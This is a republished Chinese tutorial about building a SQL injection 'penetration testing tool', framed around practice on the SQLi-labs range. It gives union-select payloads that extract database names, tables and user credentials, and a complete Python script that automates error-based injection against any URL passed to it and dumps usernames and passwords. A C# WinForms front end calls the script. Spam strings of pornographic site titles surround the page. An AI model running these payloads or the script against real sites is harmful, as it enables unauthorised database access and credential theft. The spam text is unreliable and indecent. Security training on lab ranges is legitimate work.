一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

PHP教程|ASP.NET教程|Java教程|ASP教程|編程技術|正則表達式|C/C++|IOS|C#|Swift|Android|VB|R語言|JavaScript|易語言|vb.net|

服務器之家 - 編程語言 - C/C++ - 用C語言winform編寫滲透測試工具實現SQL注入功能

用C語言winform編寫滲透測試工具實現SQL注入功能

2021-12-24 14:42吟風芥塵 C/C++

本篇文章主要介紹使用C#winform編寫滲透測試工具,實現SQL注入的功能。使用python編寫SQL注入腳本,基于get顯錯注入的方式進行數據庫的識別、獲取表名、獲取字段名,最終獲取用戶名和密碼;使用C#winform編寫windows客戶端軟件調用

用C語言winform編寫滲透測試工具使SQL注入

用C語言winform編寫滲透測試工具實現SQL注入功能

一、SQL注入

原理:

SQL注入是指攻擊者在Web應用程序中事先定義好的查詢語句的結尾加上額外的SQL語句,這些一般都是SQL語法里的一些組合,通過執行SQL語句進而執行攻擊者所要的操作。(危害:盜取網站敏感信息、繞過驗證登錄網站后臺、借助數據庫的存儲過程進行權限提升等操作)。造成的原因是程序員在編寫Web程序時,沒有對瀏覽器提交的參數進行嚴格的過濾和判斷,用戶可以構造參數,提交SQL查詢語句,并傳遞到服務器端,從而獲取敏感信息。

方法:

  • 確定Web應用程序使用的技術:與設計語言或者硬件關系密切,工具Nessus、AWVS、APPScan;
  • 確定所有可能的輸入方式:攻擊者可以通過隱藏的HTML表單輸入、http頭部、cookies、后端AJAX請求來跟WEB應用進行交互,使用web代理如Burp;
  • 查找可以用于注射的用戶輸入:多多留意web應用的錯誤頁面。

常使用的方法:

  • “單引號”法:第一種檢測SQL注入漏洞是否存在的方法是“單引號”法。方法很簡單,直接在瀏覽器地址欄中的網址鏈接后加上一個單引號,如果頁面不能正常顯示,瀏覽器返回一些異常信息,則說明該鏈接可能存在注入漏洞。
  • 1=1和1=2法:直接在鏈接地址后分別加上and 1=1和and 1=2進行提交,如果返回不同的頁面,那么說明存在SQL注入漏洞。

二、實現步驟

搭建靶場環境

  • 搭建SQLi-labs靶場環境,網上也有很多教程,可以參照sqli-labs下載與安裝進行搭建。搭建后進入Less-1。

用C語言winform編寫滲透測試工具實現SQL注入功能

  • 為測試環境搭建成功,首先Less-1后跟隨?id=1的參數,若成功返回結果,代表環境可以使用。

用C語言winform編寫滲透測試工具實現SQL注入功能

  • SQLi-labs靶場環境中有許多注入方式可以練習,包括get顯錯注入、get盲注、post顯錯注入、post盲注等,這里主要針對get顯錯注入,后面的編寫的腳本也是針對get顯錯注入。首先嘗試id的值為一些特殊的符號(如單引號'、雙引號"、括號)、反斜線/等),輸入?id=1',發現報錯,說明此處可能有注入點,同時確認數據庫為MYSQL數據庫。

用C語言winform編寫滲透測試工具實現SQL注入功能

  • 使用order by判斷字段數,通過輸入?id=1' order by 1 --+,頁面返回正常信息,再輸入?id=1' order by 2 --+,一直到id=1' order by 4 --+,頁面報錯,這時候我們就可以知道此表中有3列數據。

用C語言winform編寫滲透測試工具實現SQL注入功能

用C語言winform編寫滲透測試工具實現SQL注入功能

  • 使用union select聯合查詢方式獲得庫名、表名、字段名。首先輸入id=0' union select 1,user(),database() --+,得到用戶名和使用數據庫的庫名。

用C語言winform編寫滲透測試工具實現SQL注入功能

  • 獲取表名時需要借助MySQL數據庫中系統庫information_schema,使用group_concat()來獲取正在使用的庫中有哪些表傳入的參數,具體用法為傳輸參數?id=0' union select 1,DATABASE(),group_concat(table_name) from information_schema.tables where table_schema=DATABASE() --+,獲得當前數據庫使用的表名。

用C語言winform編寫滲透測試工具實現SQL注入功能

  • 使用同樣的方法id=0' union select 1,group_concat(username),group_concat(password) from users--+,獲得獲取字段名。

用C語言winform編寫滲透測試工具實現SQL注入功能

  • 利用group_concat()獲取字段值,具體為傳輸參數?id=0' union select 1,group_concat(username),group_concat(password) from users--+獲得用戶名和密碼。

用C語言winform編寫滲透測試工具實現SQL注入功能

三、代碼實現

使用python編寫腳本實現自動注入

import time
import sys
from urllib import request
from bs4 import BeautifulSoup

def log(content):
  this_time = time.strftime('%H:%M:%S', time.localtime(time.time()))
  print('[' + str(this_time) + '] ' + content)

def send_request(url):
  # log(url)
  res = request.urlopen(url)
  result = str(res.read().decode('utf-8'))
  return result

def can_inject(test_url):
  test_list = ['%27', '%22']
  for item in test_list:
      target_url1 = test_url + str(item) + '%20' + 'and%201=1%20--+'
      target_url2 = test_url + str(item) + '%20' + 'and%201=2%20--+'
      result1 = send_request(target_url1)
      result2 = send_request(target_url2)

      soup1 = BeautifulSoup(result1, 'html.parser')
      fonts1 = soup1.find_all('font')
      content1 = str(fonts1[2].text)

      soup2 = BeautifulSoup(result2, 'html.parser')
      fonts2 = soup2.find_all('font')
      content2 = str(fonts2[2].text)

      if content1.find('Login') != -1 and content2 == None or content2.strip() == '':
          log('Use ' + item + ' -> Exist SQL Injection')
          return True, item
      else:
          log('Use ' + item + ' -> Not Exist SQL Injection')
  return False, None

def test_order_by(url, symbol):
  flag = 0
  for i in range(1, 100):
      log('Order By Test -> ' + str(i))
      test_url = url + symbol + '%20order%20by%20' + str(i) + '--+'
      result = send_request(test_url)
      soup = BeautifulSoup(result, 'html.parser')
      fonts = soup.find_all('font')
      content = str(fonts[2].text)
      if content.find('Login') == -1:
          log('Order By Test Success -> order by ' + str(i))
          flag = i
          break
  return flag

def get_prefix_url(url):
  splits = url.split('=')
  splits.remove(splits[-1])
  prefix_url = ''
  for item in splits:
      prefix_url += str(item)
  return prefix_url

def test_union_select(url, symbol, flag):
  prefix_url = get_prefix_url(url)

  test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

  for i in range(1, flag):
      if i == flag - 1:
          test_url += str(i) + '%20--+'
      else:
          test_url += str(i) + ','
  result = send_request(test_url)
  soup = BeautifulSoup(result, 'html.parser')
  fonts = soup.find_all('font')
  content = str(fonts[2].text)
  for i in range(1, flag):
      if content.find(str(i)) != -1:
          temp_list = content.split(str(i))
          return i, temp_list

def exec_function(url, symbol, flag, index, temp_list, function):
  prefix_url = get_prefix_url(url)
  test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

  for i in range(1, flag):
      if i == index:
          test_url += function + ','
      elif i == flag - 1:
          test_url += str(i) + '%20--+'
      else:
          test_url += str(i) + ','
  result = send_request(test_url)
  soup = BeautifulSoup(result, 'html.parser')
  fonts = soup.find_all('font')
  content = str(fonts[2].text)
  return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_database(url, symbol):
  test_url = url + symbol + 'aaaaaaaaa'
  result = send_request(test_url)
  if result.find('MySQL') != -1:
      return 'MySQL'
  elif result.find('Oracle') != -1:
      return 'Oracle'

def get_tables(url, symbol, flag, index, temp_list):
  prefix_url = get_prefix_url(url)
  test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

  for i in range(1, flag):
      if i == index:
          test_url += 'group_concat(table_name)' + ','
      elif i == flag - 1:
          test_url += str(i) + '%20from%20information_schema.tables%20where%20table_schema=database()%20--+'
      else:
          test_url += str(i) + ','
  result = send_request(test_url)
  soup = BeautifulSoup(result, 'html.parser')
  fonts = soup.find_all('font')
  content = str(fonts[2].text)
  return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_columns(url, symbol, flag, index, temp_list):
  prefix_url = get_prefix_url(url)
  test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

  for i in range(1, flag):
      if i == index:
          test_url += 'group_concat(column_name)' + ','
      elif i == flag - 1:
          test_url += str(i) + '%20from%20information_schema.columns%20where%20' \
                               'table_name=\'users\'%20and%20table_schema=database()%20--+'
      else:
          test_url += str(i) + ','
  result = send_request(test_url)
  soup = BeautifulSoup(result, 'html.parser')
  fonts = soup.find_all('font')
  content = str(fonts[2].text)
  return content.split(temp_list[0])[1].split(temp_list[1])[0]

def get_data(url, symbol, flag, index, temp_list):
  prefix_url = get_prefix_url(url)
  test_url = prefix_url + '=0' + symbol + '%20union%20select%20'

  for i in range(1, flag):
      if i == index:
          test_url += 'group_concat(id,0x3a,username,0x3a,password)' + ','
      elif i == flag - 1:
          test_url += str(i) + '%20from%20users%20--+'
      else:
          test_url += str(i) + ','
  result = send_request(test_url)
  soup = BeautifulSoup(result, 'html.parser')
  fonts = soup.find_all('font')
  content = str(fonts[2].text)
  return content.split(temp_list[0])[1].split(temp_list[1])[0].split(',')

def do_sql_inject(url):
  log('Welcome To SQL Injection Tool')
  log('Check For SQL Injection......')
  result, symbol = can_inject(url)
  if not result:
      log('Target Url Not Exist SQL Injection -> Exit')
      return
  else:
      log('Test Order By And Union Select......')
      flag = test_order_by(url, symbol)
      index, temp_list = test_union_select(url, symbol, flag)
      database = get_database(url, symbol)
      version = exec_function(url, symbol, flag, index, temp_list, 'version()')
      this_database = exec_function(url, symbol, flag, index, temp_list, 'database()')
      log('Success -> ' + database.strip() + ' ' + version.strip())
      log('Database -> ' + this_database.strip())
      tables = get_tables(url, symbol, flag, index, temp_list)
      log('Tables -> ' + tables.strip())
      log('Default Use Table users......')
      columns = get_columns(url, symbol, flag, index, temp_list)
      log('Columns -> ' + columns.strip())
      log('Try To Get Data......\n\n')

      datas = get_data(url, symbol, flag, index, temp_list)
      temp = columns.split(',')
      print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))
      for data in datas:
          temp = data.split(':')
          print('%-12s%-12s%-12s' % (temp[0], temp[1], temp[2]))

if __name__ == '__main__':
  do_sql_inject(sys.argv[1]+'/?id=1')

編寫windows客戶端軟件調用.py腳本
對于python腳本中包含第三方模塊的情況,同樣,通過直接創建Process進程,調用python腳本,返回掃描結果。

  • 創建按鈕按下事件button1_Click,運行“調用python腳本”函數runPythonsql_inject()
private void button13_Click(object sender, EventArgs e)
      {
          richTextBox8.Clear();
          runPythonsql_inject();//運行python函數
          label39.Text = "開始掃描...";
      }
  • 實例化一個python進程 調用.py 腳本
void runPythonsql_inject()
      {
          string url = textBox10.Text;
          p = new Process();
          string path = "sql_inject.py";//待處理python文件的路徑,本例中放在debug文件夾下
          string sArguments = path;
          ArrayList arrayList = new ArrayList();
          arrayList.Add(url);//需要挖掘的域名
          foreach (var param in arrayList)//拼接參數
          {
              sArguments += " " + param;
          }
          p.StartInfo.FileName = @"D:\Anaconda\python.exe"; //沒有配環境變量的話,可以寫"xx\xx\python.exe"的絕對路徑。如果配了,直接寫"python"即可
          p.StartInfo.Arguments = sArguments;//python命令的參數
          p.StartInfo.UseShellExecute = false;
          p.StartInfo.RedirectStandardOutput = true;
          p.StartInfo.RedirectStandardInput = true;
          p.StartInfo.RedirectStandardError = true;
          p.StartInfo.CreateNoWindow = true;
          p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
          p.Start();//啟動進程
          //MessageBox.Show("啟動成功");
          p.BeginOutputReadLine();
          p.OutputDataReceived += new DataReceivedEventHandler(p_OutputDataReceived_sql_inject);
          Console.ReadLine();
          //p.WaitForExit();
      }

  • 輸出接收事件函數
void p_OutputDataReceived_sql_inject(object sender, DataReceivedEventArgs e)
      {
          var printedStr = e.Data;
          Action at = new Action(delegate ()
          {
              //接受.py進程打印的字符信息到文本顯示框
              richTextBox8.AppendText(printedStr + "\n");
              label39.Text = "掃描結束";
          });
          Invoke(at);
      }

四、軟件使用步驟

  • 首先在url欄中輸入地址,點擊開始查詢,最后得到SQL注入信息。

用C語言winform編寫滲透測試工具實現SQL注入功能

github地址:https://github.com/Chenmengx/Penetration-testing-tool

以上就是用C語言winform編寫滲透測試工具實現SQL注入功能的詳細內容,更多關于C#winform實現SQL注入的資料請關注服務器之家其它相關文章!

原文鏈接:https://www.cnblogs.com/cmx666/p/15104319.html

延伸 · 閱讀

精彩推薦
  • C/C++深入理解goto語句的替代實現方式分析

    深入理解goto語句的替代實現方式分析

    本篇文章是對goto語句的替代實現方式進行了詳細的分析介紹,需要的朋友參考下...

    C語言教程網7342020-12-03
  • C/C++c++ 單線程實現同時監聽多個端口

    c++ 單線程實現同時監聽多個端口

    這篇文章主要介紹了c++ 單線程實現同時監聽多個端口的方法,幫助大家更好的理解和學習使用c++,感興趣的朋友可以了解下...

    源之緣11542021-10-27
  • C/C++C語言中炫酷的文件操作實例詳解

    C語言中炫酷的文件操作實例詳解

    內存中的數據都是暫時的,當程序結束時,它們都將丟失,為了永久性的保存大量的數據,C語言提供了對文件的操作,這篇文章主要給大家介紹了關于C語言中文件...

    針眼_6702022-01-24
  • C/C++詳解c語言中的 strcpy和strncpy字符串函數使用

    詳解c語言中的 strcpy和strncpy字符串函數使用

    strcpy 和strcnpy函數是字符串復制函數。接下來通過本文給大家介紹c語言中的strcpy和strncpy字符串函數使用,感興趣的朋友跟隨小編要求看看吧...

    spring-go5642021-07-02
  • C/C++學習C++編程的必備軟件

    學習C++編程的必備軟件

    本文給大家分享的是作者在學習使用C++進行編程的時候所用到的一些常用的軟件,這里推薦給大家...

    謝恩銘10102021-05-08
  • C/C++C語言實現電腦關機程序

    C語言實現電腦關機程序

    這篇文章主要為大家詳細介紹了C語言實現電腦關機程序,文中示例代碼介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們可以參考一下...

    xiaocaidayong8482021-08-20
  • C/C++C++之重載 重定義與重寫用法詳解

    C++之重載 重定義與重寫用法詳解

    這篇文章主要介紹了C++之重載 重定義與重寫用法詳解,本篇文章通過簡要的案例,講解了該項技術的了解與使用,以下就是詳細內容,需要的朋友可以參考下...

    青山的青6062022-01-04
  • C/C++C/C++經典實例之模擬計算器示例代碼

    C/C++經典實例之模擬計算器示例代碼

    最近在看到的一個需求,本以為比較簡單,但花了不少時間,所以下面這篇文章主要給大家介紹了關于C/C++經典實例之模擬計算器的相關資料,文中通過示...

    jia150610152021-06-07
主站蜘蛛池模板: 五月激激激综合网色播免费 | 俄罗斯一级淫片 | 久久99精品久久久久久园产越南 | 99热精品成人免费观看 | 日本综合在线观看 | 美女靠逼的视频 | 国产一区在线播放 | 四虎新网站 | 男男gaygays18中国 | 国产欧美日韩在线观看精品 | 青青国产成人久久激情91麻豆 | 成人欧美一区在线视频在线观看 | sao虎在线精品永久 s0e一923春菜花在线播放 | 成人免费视频一区 | 日本无卡无吗中文免费 | 欧美日韩视频在线第一区二区三区 | 欧美胖逼| 973影院| 国产精品日本一区二区不卡视频 | 星空无限传媒视频在线观看视频 | 被老外玩爽的中国美女视频 | 色婷婷狠狠 | 国产精品欧美一区二区 | 猫扑俩性| 暗卫调教女主肉高h | 国产在线综合网 | 2048论坛永久入口 原创合集 | 成全视频在线观看免费 | 成年人免费在线看的惊悚动作片 | 免费一看一级欧美 | 国内精品在线播放 | 13 sewang41| 2021国产麻豆剧传媒剧情 | 高清国产精品久久久久 | 婷婷伊人综合亚洲综合网 | 黑人巨 | 俄罗斯处女摘花 | 狠狠夜夜久久日日91av | 国产清纯白嫩大学生正在播放 | 特级毛片全部免费播放器 | 国产色网址 |